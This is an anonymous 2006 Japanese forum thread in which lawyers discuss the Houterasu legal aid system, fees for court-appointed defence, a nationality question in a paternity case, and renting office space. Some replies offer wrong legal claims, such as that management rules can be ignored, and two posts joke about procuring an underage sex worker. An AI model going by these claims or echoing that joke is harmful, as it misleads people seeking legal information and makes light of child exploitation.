それなりのトレーニングを受けないと。

431 :無責任な名無しさん:2006/05/19(金) 20:40:31 ID:QH3uVuMn
>>426
要するに昔は国民が質の悪い法サービスを選択なしに押し付けられていたともいえる。

>>430
そんなことを言ってるから弁護士は世間知らずだと言われる。
別に自分の知らない言語で書いてあるわけじゃなし
法務以外にも専門文献を使いこなす職業なんてなんぼでもあることを
自覚しないと。

432 :無責任な名無しさん:2006/05/19(金) 21:18:44 ID:yIqHpYUZ
>そんなことを言ってるから弁護士は世間知らずだと言われる。
誰が言ってるの?「俺が」とか言うなよw

433 :無責任な名無しさん:2006/05/19(金) 21:22:56 ID:Su8ulpcM
>>432
テレビの茶髪弁護士を見てそう思わないんだったら世間からずれてるよ

434 :無責任な名無しさん:2006/05/19(金) 21:56:02 ID:wT9NykVb
素直な日本語で考えたら間違っちゃうのが法律の世界だ

435 :無責任な無責任:2006/05/19(金) 22:48:19 ID:v4agdoQQ
日本の法律は、日本語で書かれていないよね。

436 :無責任な名無しさん:2006/05/20(土) 00:31:41 ID:31nQZoZP
なんだか弁護士本音talkスレが弁護士自己弁護スレになっちゃってるね

437 :無責任な名無しさん:2006/05/20(土) 01:08:23 ID:1f98ff2j
DQNてどういう意味ですか。

438 :437:2006/05/20(土) 01:47:39 ID:1f98ff2j
10年以上やっていましたが、やっているんですど書類が期日請書くらいしか書けなくなり約2年前からうつ病ではないかと診断され、国選、当番弁護、法律扶助をすべてやめ、良心の呵責に苦しんでいます。

439 :無責任な名無しさん:2006/05/20(土) 02:06:42 ID:NWQFGUCT
 今日、単位会の総会があった。おいらは、総会の開催時
に飛び込みの客(外人の人)ごかがいたので、総会は欠席し、
懇親会だけに出席した。会長から「先生が法テラスと契約しないと
後継者が育たない。純粋な私選で人助けをすることも大事だが、先生
が「国選をやらない」ということで助かる被告人も助からなくなるか
もしれない。」
とか縷々説得された。
 地方都市単位会では、悩みが深い。
 私が所属している派閥なのだが、現在、「爆弾製造中」で、そのうち爆弾
(紙製)を一斉投下する予定。
 その爆弾に私の名前を出してよいかどうか、議論があったのだが、司法修習
委員会委員だし、私の名前が出ると関係各方面に甚大な迷惑を掛けることにな
るので「チョッチ考えさせて・・・」といっている。
 同業者の皆さんも単位会の総会があったと思うので、差し支えない範囲で情報キボンぬ。

440 :無責任な名無しさん:2006/05/20(土) 02:14:25 ID:NWQFGUCT
>>438

病院(精神科)で受診することを心からお勧めします。恥でも何で
もありません。東京地裁に居る部総括(瀬木さん)は「漏れはうつ病だ」と
カミングアウトしながら、映画評論や論文を書いています。確かに弁護士と
いう職は真面目にやればやるほど、精神疾患になる可能性があります。

 しかし、期日請け書は普通、事務員さんが、「せんせー、期日決まりま
した。請け書出していいですか」「いいよ」という感じ出すもんだよ。


441 :無責任な名無しさん:2006/05/20(土) 08:15:24 ID:bsJRUm1Q
>>439
法テラスに反対する方が良識的な考えなんだから、別に気にすることないんじゃないですか。
私も特に運動するつもりもありませんが、法テラスとは契約しないつもりです。
最初のうちこそ私を説得しようとしていましたが、最近ではみんな諦めたようです。
439さんも頑張って下さい。

442 :無責任な名無しさん:2006/05/20(土) 08:30:24 ID:Jy42tLWO
漏れも国選や扶助やりたくないから契約しない
大義名分があるから堂々とやめられる
本当に良いもの作ってくれた

443 :無責任な名無しさん:2006/05/20(土) 09:31:21 ID:mMvoJTcx
うちはボスが賛成だから、
契約しないわけにはいかないorz

444 :無責任な名無しさん:2006/05/20(土) 10:11:39 ID:SsgkKJBT
支援センターの方で,三流ロー卒の馬鹿弁をたくさん雇って
国選をさせることにすれば,一石二鳥だが。

445 :無責任な名無しさん:2006/05/20(土) 10:12:02 ID:BSRXE0q9
しがない地方の一人事務所では、経営のことも考えると国選や扶助を
やらざるを得ないんだよなあ……。


446 :無責任な名無しさん:2006/05/20(土) 11:05:00 ID:P/tZqVf0
しかし、弁護士会というのは全体主義国家ですね。
会員の自由に任せるべきことにしつこく干渉するんだから。
自由と正義なんて聞いて呆れますよ。

447 :無責任な名無しさん:2006/05/20(土) 11:18:03 ID:naXvK8ob
そうかね。

448 :無責任な名無しさん:2006/05/20(土) 11:42:18 ID:+04eGiUt
http://www.youtube.com/watch?v=rLjCAzIvFOA

449 :無責任な名無しさん:2006/05/20(土) 14:18:56 ID:31nQZoZP
一流ロー卒の三振博士と三流ロー卒の馬鹿弁とでは
どっちのほうが価値があるんだろうか

450 :無責任な名無しさん:2006/05/20(土) 14:19:35 ID:7ZbcgOu2
>>442
えっと......無知で済みません。
法テラスと契約しないと,今後扶助も当番(国選)
も一切しなくていい=出来なくなる,ということですか?
自分で調べろ?
そうですね...

451 :437:2006/05/20(土) 15:35:26 ID:1f98ff2j
>>440ありがとうございます。法テラスができるおかげで国選、扶助、当番しなくても良心の呵責にさいなまれないですむようになったということを言いたかったのです。薬を飲んで今では大分回復し過払訴訟で何とか食べていけるようになりました。感謝


452 :無責任な名無しさん:2006/05/20(土) 21:47:41 ID:u8asROOv
「国選1件最低20万円,重大事件なら100万円くらいまで出すのなら契約してもいい。」
と言って法テラとの契約は断るつもり。
金の問題なのかと言われたら,「弁護士という職業の貴賤と誇りの問題だ。」と反論する。

当単位会の総会では,法テラとの協力関係の議題のたびに荒れた。
荒れて当然。
弁護士会が,「検察庁と協力して刑事裁判の円滑な運営のために努力する」とか言ってんのと変わらない。


453 :無責任な名無しさん:2006/05/20(土) 22:17:02 ID:31nQZoZP
弁護士は国の作った弁護士法があるおかげで独占業務ができるのに
国の意向である法テラスに反発するなんてご都合主義だね。

454 :無責任な名無しさん:2006/05/20(土) 22:23:57 ID:SVDE3XRn
法テラスが日弁連や単位弁護士会の直営でなくてよかった
弁護士会経営なら「法テラスへ行け。ゴルァ!会の命令だ」となった希ガス

455 :TN:2006/05/20(土) 22:29:22 ID:P/tZqVf0
刑事弁護を死滅に追いやったのは、日弁連の政策ミス
自分のクビを締めたようなもんだね

456 :無責任な名無しさん:2006/05/20(土) 22:48:43 ID:Jc8mOVZO
ブロードキャスターでヒューザー社長の国会質問の証人テストの
ビデオが流されているね。

これってさ、守秘義務違反じゃないのか?代理人も関与してるんだろうし。
不味いんじゃないか?

457 :無責任な名無しさん:2006/05/20(土) 22:55:36 ID:XsX1ZYe2
>>456

458 :無責任な名無しさん:2006/05/20(土) 22:56:38 ID:XsX1ZYe2
代理人から漏れたわけじゃないでしょ???

459 :無責任な名無しさん:2006/05/21(日) 01:12:33 ID:4yJfodq3
>>451
当番は弁護士会だよ

460 :無責任な名無しさん:2006/05/21(日) 01:13:39 ID:4yJfodq3
>>455
今更何をやっているのかわからない軽便委員会に今年も多額の予算が振られていましたね
まだ予算案だけど

461 :無責任な名無しさん:2006/05/21(日) 01:46:56 ID:w3N20J+Z
被疑者国選が本格始動したら当番は廃止?

462 :無責任な名無しさん:2006/05/21(日) 08:43:45 ID:+11UJWfV
今日から北海道に遊びに行くぽ

463 :無責任な名無しさん:2006/05/21(日) 14:01:17 ID:g+rHL1s/
>個人情報流出で賠償命令 ヤフーBB運営会社に

>6000円だと集団訴訟にはなりづらいですね。印紙代とか手間とか考えたら訴訟を提起する人はとても少ないと思います。
>これが5万円だと集団訴訟に発展できると思うのですが・・

初めにそろばんありきか...。



464 :無責任な名無しさん:2006/05/21(日) 19:20:04 ID:k2699n7y
>>462
お土産宜しくw

465 :無責任な名無しさん:2006/05/21(日) 19:28:25 ID:igFrdVgj
訴訟マニアとやりあった人はいますか?

466 :無責任な名無しさん:2006/05/21(日) 19:43:32 ID:w3N20J+Z
懲戒請求マニアの弁護士とやり合ったことならあるけど(苦笑
その弁護士は業務停止喰らったようだが、まだこの業界で生きているんだろうか?

467 :無責任な名無しさん:2006/05/21(日) 20:26:46 ID:LijxnfgZ
訴訟マニアと延々やりあったら
訴訟マニア用の答弁書や準備書面や虚偽告訴の告訴状のテンプレができあがったw
証拠がない,独自の解釈,不自然不合理,偽造変造……てな言葉ばっかし

468 :無責任な名無しさん:2006/05/21(日) 22:23:17 ID:JAkkO36B
最近このスレに,書き込むのは,馬鹿ばっかりだな(俺も含めて)。

特に馬鹿なのは,弁護士本音スレなのに,フェミニスト面して
したり顔して説教たれる香具師。

469 :無責任な名無しさん:2006/05/21(日) 22:26:39 ID:LijxnfgZ
>>468
それマルチポストだよ
反応したところだけに本人がカキコしている
スルーすれば撤退する
弁護士スレ裁判官スレ検事スレ(法律勉強イタ,司法試験イタ,公務員イタ)に次々マルチ投稿している香具師一人だよ。
いつも同じテンプレ使っている
対策は基本どおりスルー

470 :無責任な名無しさん:2006/05/21(日) 22:49:29 ID:HV9kaIB4
今の若者に共産主義者など皆無なのに、共産系事務所には結構新人が入っています。
彼らは共産系事務所だということを知って入っているのでしょうか。

471 :無責任な名無しさん:2006/05/21(日) 22:55:20 ID:3SkU/Twg
>470
1 最近の期の若い弁(それも20代)には
  思想的、政治的に、その手の事務所と親和性のあるのが結構います。
2 ただ、都市部では、就活の都合上、
  好むと好まざると、その手の事務所しか・・・
  という傾向があるのもまた事実です。

472 :無責任な名無しさん:2006/05/21(日) 23:07:49 ID:LijxnfgZ
どうせ行儀見習いで独立するまでと割り切って就職するノンポリもいる

473 :無責任な名無しさん:2006/05/22(月) 06:24:47 ID:R6mCPlYh
706 :氏名黙秘 :2006/05/22(月) 01:38:58 ID:???
教官の話だとPJ除けば実質4人に1人は決まってないらしい
内定をダブルでゲットした59期はどっちか辞退するように!


474 :無責任な名無しさん:2006/05/22(月) 07:46:38 ID:d/2qvAsS
相変わらず弁護士はフェミニストに対しては感情的になりやすいようですね。ヤレヤレ。

475 :無責任な名無しさん:2006/05/22(月) 08:44:44 ID:0mq8ZQGT
早く正業に就け

476 :無責任な名無しさん:2006/05/22(月) 11:36:01 ID:Mw9y/Wht
>>472
色が付いちゃうのにね

477 :無責任な名無しさん:2006/05/22(月) 12:18:48 ID:TpZGPw/B
>>476
田舎だったら,生涯,サヨ扱いだけど,
都会だとどうなのかな。

478 :無責任な名無しさん:2006/05/22(月) 12:37:55 ID:IFPFEIER
訴訟マニアや非弁行書用のテンプレ作れば売れるかも。

479 :無責任な名無しさん:2006/05/22(月) 21:32:59 ID:8O2rJrcE
共産主義者じゃないのに共産党事務所に入ってる人、手を挙げてっ!

480 :無責任な名無しさん:2006/05/22(月) 21:46:26 ID:vyHh+tt6
そんなん、いっぱいいる。

481 :無責任な名無しさん:2006/05/22(月) 22:35:18 ID:bFfp9D9H
最近の修習生で共産主義者なんて見たことない

482 :無責任な名無しさん:2006/05/22(月) 22:45:11 ID:4cWkpKKe
このスレでいつも女性蔑視の書き込みしてる人たちって
本物の弁護士なんですか?

483 :無責任な名無しさん:2006/05/22(月) 22:45:25 ID:Zimo1Ewy
大学出の××党員・主義者、○○学界員なんて、
なにも知らんうちに民政、○豊胸や△に入っちゃった連中だろ。
ところが足抜けは、893と同じで、なかなかむつかしいよ。
まさか指詰めはないだろうが、一体、幾ら出すんだろう。

昔、●●派から抜けるのに、・・・・・の面倒を生涯みるとの一札入れた・・・、という話しを。アチャ。

484 :無責任な名無しさん:2006/05/23(火) 00:23:38 ID:sJxe0Wqe
これ、脅しになってるのか?

「灰色金利」、廃止なら解散も=東京都貸金業協会が宣言
http://headlines.yahoo.co.jp/hl?a=20060522-00000121-jij-soci
 東京都内の消費者金融会社など1092社で構成する社団法人東京都貸金業協会(港区、
会長・石井恒男富士信社長)は22日、出資法の上限金利(29.2%)と利息制限法の上限
金利(15−20%)の間の「グレーゾーン金利」が廃止された場合、「状況によっては協会を
解散する」とした宣言文を金融庁や都などに提出した。宣言は19日の総会で全会一致
で採択していた。 
(時事通信) - 5月22日23時0分更新

485 :無責任な名無しさん:2006/05/23(火) 01:19:56 ID:WSjjpuJT
モロ脅迫かと思ったら
武富士支配をパージする好機と
東京都が喜んでいるわ
解散届けをあっさり受理して
協会に肩透かしw

486 :無責任な名無しさん:2006/05/23(火) 09:20:42 ID:osznWyxu
http://www.asahi.com/national/update/0523/TKY200605220367.html

487 :無責任な名無しさん:2006/05/23(火) 10:05:47 ID:5sXXES60
>>486

つっこみどころ満載ですね。

「 新基準は、(1)必ず裁判官3人で審理する合議事件のうち、
裁判員制度の対象になる「重大合議事件」(2)それ以外の合
議事件(3)裁判官1人で審理する「単独事件」――に分類して
「基礎報酬」を明示。例えば、(1)で公判前整理手続きが適用
された場合は10万円となる。」

488 :無責任な名無しさん:2006/05/23(火) 11:21:11 ID:vQe8q3jl
一番安い奴やるときは,記録謄写なし,弁論要旨提出せず。


489 :無責任な名無しさん:2006/05/23(火) 11:53:29 ID:+94gx7nJ
>>488
記録謄写なしは分かるが、弁論要旨提出しないなんてできるの?もしかして、口頭のみということ?
裁判所、いやがらない?せめてメモだけでも出せとか言わない?


490 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/05/23(火) 12:14:16 ID:J5Pxal/3
>>489先生
控訴審の記録を見ていると,たまに公判調書(手続)に弁護人の意見が書いてあって
弁論要旨のない記録を見ることがあります。

491 :TN:2006/05/23(火) 13:54:42 ID:7BbUzJjv
>>490
それ修習生のとき見たことある

492 :無責任な名無しさん:2006/05/23(火) 14:37:39 ID:fl+SM17s
年寄りの先生は結構出さないよ。
あるいは、出しても箇条書き。
口頭でベラベラしゃべってる。

493 :無責任な名無しさん:2006/05/23(火) 17:33:50 ID:a0aAaSBG
フィリピンの女性から相談を受けた。
日本人と結婚したが、旦那が船員で長期不在。
その間に別の男性と浮気して出産。
出産の直後に浮気相手が死亡。
子供は当然旦那の戸籍に入っている。

で、親子関係不存在→認知請求→遺産分割だと思うんだが
親子関係不存在が確定した時点で
子供の戸籍、国籍はどうなるんだ?

分かる方教えてください。

494 :493:2006/05/23(火) 17:50:08 ID:a0aAaSBG
あ、いかん。
書いてる途中から
ここに書き込むネタではなくなってしまった。

ま、いいや。
親切な方がいたら教えてください。

495 :無責任な名無しさん:2006/05/23(火) 18:57:51 ID:1Z/p6inr
国際身分法は難しいよね。
ひとつだけ言えることは,ここで書かれた回答を鵜呑みにしてはいけないということだ。

496 :無責任な名無しさん:2006/05/23(火) 19:37:45 ID:o+xv0LLY
認知請求しても無理なんでは。もう相手が死んじゃったんなら。
浮気相手の親族は当然子供の存在なんて認めないだろうし
死んでしまってるならDNA鑑定もできない。
性交渉の有無を立証するだけじゃ相手の子供だといえないし。
子供は母親が日本国籍持ってるなら子供の日本国籍も認められるのでは。

497 :無責任な名無しさん:2006/05/23(火) 19:48:38 ID:lNl9pr7U
>>496
非弁乙

498 :無責任な名無しさん:2006/05/23(火) 19:51:09 ID:WSjjpuJT
死後認知のDNA鑑定は普通のことと知らない非弁

499 :TN:2006/05/23(火) 20:09:13 ID:bMCbhGVx
>>486
結局今とそんなにかわんないんじゃないの?
麻原の弁護人なんか結構もらってたみたいだし。



500 :無責任な名無しさん:2006/05/23(火) 20:12:56 ID:u40jL+QG
>>499
記事を信じれば、一日判決がさらに安くなる。
一日判決なんて不法滞在物が多いんだから、経費掛かるのに。

501 :無責任な名無しさん:2006/05/23(火) 20:14:48 ID:lTn7c62N
>>496
どこから母親が日本人なんて発想が出てくるやら。

502 :無責任な名無しさん:2006/05/23(火) 21:44:11 ID:QYklscUi
国籍法見ても、よく分からんなあ。
少なくとも、現在は日本人の父親を持つ子供として日本国籍が
与えられるはずだよね。
親子関係不存在が確定すれば、その時点で日本人の子供では
なくなるわけだが、確定の時点から出生時点に遡って日本国籍
を喪失するのか、遡らないが日本国籍は喪失するのか、
はたまた一度国籍を与えた以上は、国籍法上の喪失事由に該当
しない限り、裁判の結果がどうなろうと日本国籍は喪失しないのか。

市町村の戸籍係に問い合わせるのがいいのかな。
日本国籍を喪失しないなら、親子関係不存在が確定した時点で
子供単独の戸籍が作られるはずだから。戸籍係での前例を問い合わせれば、
分かるかも。

503 :493:2006/05/23(火) 22:15:30 ID:a0aAaSBG
えー、自分で調べた限りを

親子関係不存在が確定した時点で戸籍訂正ってか戸籍抹消。
遡及的に国籍喪失らしいです。
その後、実父に認知請求が認められても生後認知(子供から見て)になるので
日本の国籍取得は認められないというのが結論のようです。

ま、日本人の配偶者等の子なので
すぐに退去強制にはならないだろうけど
出生届が出ていない状態になるので
フィリピンの大使館に出生を届け出て
同時に子供のパスポートを申請することになるらしい。
あと、健康保険もけっこうわけわからんです。
外国人配偶者の連れ子と同じで旦那の被扶養者にはなれるけど
浮気された旦那がこれを拒んだら
子供だけで国民健康保険ですと。

504 :無責任な名無しさん:2006/05/23(火) 22:26:56 ID:8YRd2zFP
何だ。
やればできる子じゃないか。
個人的にはもう少し引っ張ってもよかった。

俺もやればできる子になるよ。

505 :493:2006/05/23(火) 22:51:16 ID:a0aAaSBG
そのフィリピン女性にいってやりたいです。

やればできる!って……

506 :無責任な名無しさん:2006/05/23(火) 22:55:36 ID:lTn7c62N
調査費についても繰り返しになるけど、僕は弁護士2年目で事務所を立ち上げました。
東京や大阪では、弁護士だからといって事務所は簡単に持てない。
僕は、年上の弁護士に対抗するために、示談交渉で事件を解決することを主軸として、顧問先や依頼者を獲得していきました。
相手には当然、暴力団関係者等もいた。
法廷であれば、直接相手と接することはない。
裁判官と相手方代理人である弁護士との話のみ。
しかし、示談では相手と直接会わなければならない。
特に事故を装った不正請求に関する示談業務をやるためには、
やはり情報提供者が必要となる。僕は色んなところに、情報提供者を持っておりました。
当然、情報はただではくれません。
尾行や張り込みをやってもらうことも多い。そうなると相当の費用がかかる。
浮気調査の興信所の調査料は、1週間で100万円が相場とも言われている。
僕は、この3年間で600件くらいの事案を解決してきた。
その事案解決において、情報提供料や調査料がそれなりにかかってくる。
ただし、領収書が取れない。

507 :無責任な名無しさん:2006/05/23(火) 23:07:25 ID:8YRd2zFP
>>505
人が素直に感心してやったのに
誰がシモネタでオチをつけろと言ったか?


508 :無責任な名無しさん:2006/05/24(水) 00:03:23 ID:1q5+pOnc
>>506
橋下先生乙

509 :無責任な名無しさん:2006/05/24(水) 00:15:52 ID:sRvwvqSh
ここは鯖は大丈夫なのれすか?

510 :無責任な名無しさん:2006/05/24(水) 02:10:34 ID:pXQ8NnQl
 地方都市単位会のセンセ。やっぱり「法テラス入れ」というオルグに会っているのでしょうか?
 ちょっと政治的立場がスキゾフレニアなので,参っています。会長まで変節してしまった様子です。

511 :無責任な名無しさん:2006/05/24(水) 02:15:37 ID:hHiOvm+m
>>509
http://school5.2ch.net/test/read.cgi/shikaku/1119342237/425

512 :無責任な名無しさん:2006/05/24(水) 12:16:06 ID:e8gvuzge
>>510
100人以下の地方弁護士会だけど。
今のところ、オルグのようなものはないなあ。

「法テラスと契約するな!」というFAXが来てるが、「予算措置が講じられない場合は、
無報酬で国選弁護を引き受ける。」なんてとこまで賛同できる人いるのかねえ。

513 :無責任な名無しさん:2006/05/24(水) 12:34:11 ID:3XQgD5Gg
>>512
その条項さえなければ賛同してもよかった。
わざわざFAX返信はしないけど。

514 :無責任な名無しさん:2006/05/24(水) 12:35:21 ID:3XQgD5Gg
メーリングリストで他の人の質問にギスギス答えるのはやめてほしいな。
嫌味を言うならDMでやってほしい。
気軽に質問がしにくくなる。

515 :TN:2006/05/24(水) 13:23:31 ID:AIwtYzwY
じゃあ私が同志を募ります
良心的登録拒否をみんなでやりましょう
お返事は不要です
「訴追側弁護側共に法務省の管轄下では,裁判の公正が保たれないし,双方代理に類する関係となる。
 弁護士の良心として法テラスに登録することはできない。」
との理由付で断りましょう。
(各自よい理由付がありましたらご用意して頂ければ結構です。)

516 :無責任な名無しさん:2006/05/24(水) 14:02:34 ID:4Wh2D6+t
結局,良心的な人間が最後まで残り,
全部,押しつけられるんだよね。


517 :無責任な名無しさん:2006/05/24(水) 14:18:00 ID:J6PMVAcB
そろそろ独立しようかと思ってます。
当面は、こぢんまりと個人客相手にしていくと思うので、マンションを事務所に
しようかなと思ってたんですよ。
東京などでも、マンションを事務所にしている先生方がおられますし。
でも、最近はマンションでいろいろ事件が起ったりしているし、マンションに住んでいる
人からすれば、被告人やらその家族やら感情的な相手方やら、怪しげな人が出入り
しそうな弁護士の事務所なんて、開いて欲しくないでしょうね。
自分がマンション住民だったら、法律事務所に限らず、あまり事業所には入ってもらいたく
ないと思うし。
鼻つまみ者にされたり、出て行けと言われたり、本当に自分の依頼者or相手方が
マンションで何らかの問題を起こしたりしかねないんだったら、マンションは止めて
普通の事務所を借りておいた方が無難なのかな。
マンションだと、パーテーションいらないし、とりあえず気軽に独立するには
いいかと思ったんだけど。
既にマンション住民から、法律事務所ってだけで嫌がられているところはないのかな?


518 :無責任な名無しさん:2006/05/24(水) 15:06:51 ID:V5n0PSOO
そもそも事務所禁止のマンションもあるよ
まあマンション次第だね

>>514
誰だろうw


519 :無責任な名無しさん:2006/05/24(水) 15:45:13 ID:e8gvuzge
>>517
マンションというのは、自宅ということなのかな?
自宅兼事務所はやめといたほうがいいと思うぞ。
仕事の時間とプライベートの時間との区別がなくなるから。

520 :無責任な名無しさん:2006/05/24(水) 16:01:44 ID:B+O+sspG
>>519
必ずしも自宅兼事務所ということにはならないと思うけど。
まあ、仮にそうでも、独立後、しばらくの間それで頑張るというのはありじゃないかと思うよ。

521 :無責任な名無しさん:2006/05/24(水) 17:47:48 ID:NzF0jUCi
実際に探してみるとわかると思うけど、
マンションは管理規約で住居使用以外不可にしているところが結構多い。

結局、事務所OKな物件を探すと、駅前とか中心部。
そういう建物には、各士業とか、会社が結構入ってて、
マンションと名が付いても住んでる人の方が少なかったり。


522 :無責任な名無しさん:2006/05/24(水) 18:31:27 ID:J6PMVAcB
>519
自宅兼事務所なんて、死んでもやりません。
そんなことするくらいなら、廃業するよ。
携帯電話の番号を知られてしまったときですら地獄だったのに、自宅を
知られてしまった日には、夜中に張り込まれて深夜相談を求められそう。

事務所OKな物件(他にも事務所が入っているところ)を探せばいいんですね。
地方で、中心部のビルが空き放題なので、事務所が入っているようなマンションが
見つかるか分かりませんが、とりあえずあたってみよう。

523 :無責任な名無しさん:2006/05/24(水) 18:35:16 ID:3XQgD5Gg
>>522
古めの事務所ビルなんかだと,地方では,賃料激安で貸してくれるところもあるよ。
中身はそれなり(OAフロアじゃないし,トイレは和式)だけど。
マンションを無理に借りるより条件が良かったりする。

524 :無責任な名無しさん:2006/05/24(水) 18:43:56 ID:Brpc8ujh
管理規約で事務所禁止と定めても所有権に対する不当な制約だから無効だろう。
無視すりゃいいじゃん。

525 :無責任な名無しさん:2006/05/24(水) 18:57:15 ID:V5n0PSOO
>>524
おまえバカだろ
年寄りか?

526 :無責任な名無しさん:2006/05/24(水) 19:15:29 ID:Emum53UJ
ロー生の乱入でしょうw

527 :無責任な名無しさん:2006/05/24(水) 19:22:37 ID:QaFXH+r1
賃料は質に比例する。
隣の部屋がデリヘルの事務所だったら…
無理してでもちゃんとしたところを借りないと駄目だよ。

528 :無責任な名無しさん:2006/05/24(水) 20:02:55 ID:ufyXc1qT
俺は、今、自宅で赤ん坊をおんぶしながら準備書面を起案をしている。


529 :無責任な名無しさん:2006/05/24(水) 20:30:40 ID:V5n0PSOO
>>527
隣がデリヘルの事務所である場合のメリット
1 刑事事件の依頼が来るかも
2 破産など借金関係の依頼が来るかも
3 変なセールスがこないかも
4 チェンジが早いかも
5 タダで気持ちよくなれるかも
6 事件屋さんからの依頼も来るかも
7 自由と正義に載れるかも

530 :無責任な名無しさん:2006/05/24(水) 20:38:24 ID:5JL3egR/

俺は今巨人戦をみながら、2chをしてる。今日中にあげなきゃならん
起案にかかれん。

531 :無責任な名無しさん:2006/05/24(水) 20:39:17 ID:Emum53UJ
>>529
゛;`;:゛;`旦(;゜;ж;゜; )ブッ 茶ぁ吹いた
ヽ(´▽`)ノ (▽` )ノ(`ノ  )ヽ(   )ノ (  ヽ´)ヽ( ´▽)ヽ(´▽`)ノ
ありがと 疲れが暫し飛んだわ

532 :無責任な名無しさん:2006/05/24(水) 20:40:50 ID:5JL3egR/
>>529

良く携帯でピコピコしてるな。出先か?

533 :無責任な名無しさん:2006/05/24(水) 22:52:34 ID:PCbt6PsD
>>514
激しく同意。
メーリングリストでケンカっぽいことはしないで欲しい。

534 :無責任な名無しさん:2006/05/24(水) 23:08:34 ID:Emum53UJ
MLで女性の取り合いも見苦しい_| ̄|○

535 :無責任な名無しさん:2006/05/24(水) 23:10:20 ID:PCbt6PsD
クレサラメーリスを見ていると、借りている方も悪いのに良くここまでやるなと思う。

536 :無責任な名無しさん:2006/05/24(水) 23:24:30 ID:2/WVlRNq
>>535
クレサラは刑事弁護と同じ発想でやるべし。

537 :無責任な名無しさん:2006/05/24(水) 23:26:42 ID:2/WVlRNq
>>534
女性の取り合い?

538 :無責任な名無しさん:2006/05/24(水) 23:28:06 ID:TIc9F9ux
隣がデリヘル事務所なら毎日頼みそう。
そしてその中に18歳以下の娘がいたりして児童買春で…。

539 :無責任な名無しさん:2006/05/24(水) 23:34:28 ID:Emum53UJ
18歳以下の不法在留だったりしてw

540 :437:2006/05/25(木) 00:28:41 ID:+OurjDYQ
>>521 私もマンションの1室で開業しているけれど521のいうとおり。事務所可のマンションは住人もその旨心得ているからトラブルは心配ないよ。
>>524 その知識じゃ行政書士も合格しないよ。あーあ、まさかその知識で法律相談していないよね。

541 :無責任な名無しさん:2006/05/25(木) 09:05:35 ID:hI1FBTNY
>>532
何で携帯やねん

542 :無責任な名無しさん:2006/05/25(木) 09:27:09 ID:3bnAOD5Z
すみません。私は、弁護士でないいわゆる非弁ですが、質問します。
やっぱり単位会(例えば東京弁護士会とか茨城弁護士会)の中でも、やっぱり弁護士同士が犬猿の仲とかあるんですか?

543 :無責任な名無しさん:2006/05/25(木) 09:30:00 ID:hI1FBTNY
ありまくります

544 :無責任な名無しさん:2006/05/25(木) 09:38:52 ID:GlycbazK
 マンションの管理組合が厳しいと,「シュレッダーゴミは産廃だから,
マンションのゴミボックスに捨てるな」と言われる。

545 :無責任な名無しさん:2006/05/25(木) 09:46:55 ID:ZD4UuDWF
>>542
火事と喧嘩は弁護士会の風物詩です。
特に会内の選挙でこじれた後が面白い。


546 :無責任な名無しさん:2006/05/25(木) 12:55:02 ID:88qdkwpK
法テラスのFAX,報酬額は聞いてたとおりだけど・・・
謄写費用全部出すってきいてたんだが
200枚までは基礎報酬にあらかじめ含まれてるときた
話が違うような・・・
なら基礎報酬に4000円プラスしろと

こまいはなしだけれどね

547 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/05/25(木) 13:11:54 ID:F8hY4f4l
しかも超過分は1枚20円。
現在東京地検は1枚35円,司法協会は1枚40円なのに・・。

548 :無責任な名無しさん:2006/05/25(木) 13:29:38 ID:hI1FBTNY
こうなったら,Pの取り調べ請求証拠は全部副本を提出し,弁護人に交付
を義務づけよう

549 :無責任な名無しさん:2006/05/25(木) 13:44:15 ID:BnkuzVrS
>>547
地方によっては1枚50円以上。

550 :無責任な名無しさん:2006/05/25(木) 14:17:49 ID:738YDAlr
そもそも刑訴規則が検察官は閲覧謄写の機会を与えるだけでよいとしつつ
弁護人には提示して機会を与えるとしてるのがおかしい。
刑訴規則改正しる。

551 :無責任な名無しさん:2006/05/25(木) 15:27:20 ID:F3Pv/9N1
とりあえずデジカメ謄写認めれ>全裁判所

552 :無責任な名無しさん:2006/05/25(木) 16:32:21 ID:Sp+OuwSz
今後は、裁判員が入る事件では、書面での証拠そのものが少なくなるかもしれんけどね。
某県では、採用する調書を厳選した上で、調書を朗読する方針らしい。

553 :無責任な名無しさん:2006/05/25(木) 22:01:30 ID:uR5id3wQ
どうでもいいけど最近ほんま法廷もののドラマが多いなあ
今日も8時、9時、10時と全部ゴールデンタイムを検事ものと弁護士ものが占領してるよ
とりあえず一般人の司法に対する関心が高まってるってことなんだろうけど
どうせならもっと実務に近いドラマにしてほしいよ
特に女検事ものとか女弁護士ものは変に正義感とか人間性を売りにする
女検事とか女弁護士が出てきて現実との乖離にうんざり

554 :無責任な名無しさん:2006/05/25(木) 22:33:36 ID:uqGbFxmq
現実に近かったら面白くないでしょ。

刑事もの、探偵ものだってそうだし。



555 :無責任な名無しさん:2006/05/25(木) 22:54:06 ID:t8v9dC1s
俺としては、ドラマの主人公にでもなったつもりのような
依頼者にうんざり。

556 :無責任な名無しさん:2006/05/26(金) 11:31:09 ID:+LyHYOy3
>>533
 着手金の上手な取り方とか,報酬を負けろとか。会長選挙
の電話合戦とか。事件ため込んで高貴委員会とか。orz

557 :無責任な名無しさん:2006/05/26(金) 11:52:27 ID:M6ifeOE/
メンヘルの相談者だとか,嘘つきの依頼者だとか,元のボス弁から押しつけられためちゃくちゃな筋の事件の処理だとか,
ヤクザの私選だとか,東京の暇なバカの思いつきのせいで土日つぶしての会務だとか,挨拶もろくに出来ない修習生だとか,
鬱病の裁判官だとか,ごますりは上手いが割るのは下手な検察官だとか,仕事のできない事務員だとか,………


やだやだ

558 :無責任な名無しさん:2006/05/26(金) 12:13:14 ID:d605DL12
「くず」もこれまではなかなか実務に忠実だったが,昨日のは,
  相手方が新しい公正証書遺言を隠している
というオチだった。
公証役場の検索システムは?

559 :無責任な名無しさん:2006/05/26(金) 12:33:05 ID:dM4xS5tA
>>558
同じことをおもたよ。まずは遺言検索するよね。

560 :無責任な名無しさん:2006/05/26(金) 12:50:36 ID:P1MY6TWH
>>558-559
そういうことを知らない弁護士もいるというリアルな設定なのでは

561 :無責任な名無しさん:2006/05/26(金) 14:02:51 ID:VuHuEHU2
http://www.asahi.com/national/update/0526/NGY200605260010.html?ref=rss

562 :無責任な名無しさん:2006/05/26(金) 14:09:40 ID:5qTjWxfM
>>561
ぞっとしないなあ。これ、時効前に依頼を受けてたら、弁護過誤か。


563 :無責任な名無しさん:2006/05/26(金) 14:43:47 ID:VOdKlryT
記事内容からするに時効前に依頼を受けてたんじゃないの。
弁護過誤では。
でも仮に弁護過誤があるにしても、なかった場合の本訴の結論がわからんとどーなるの。

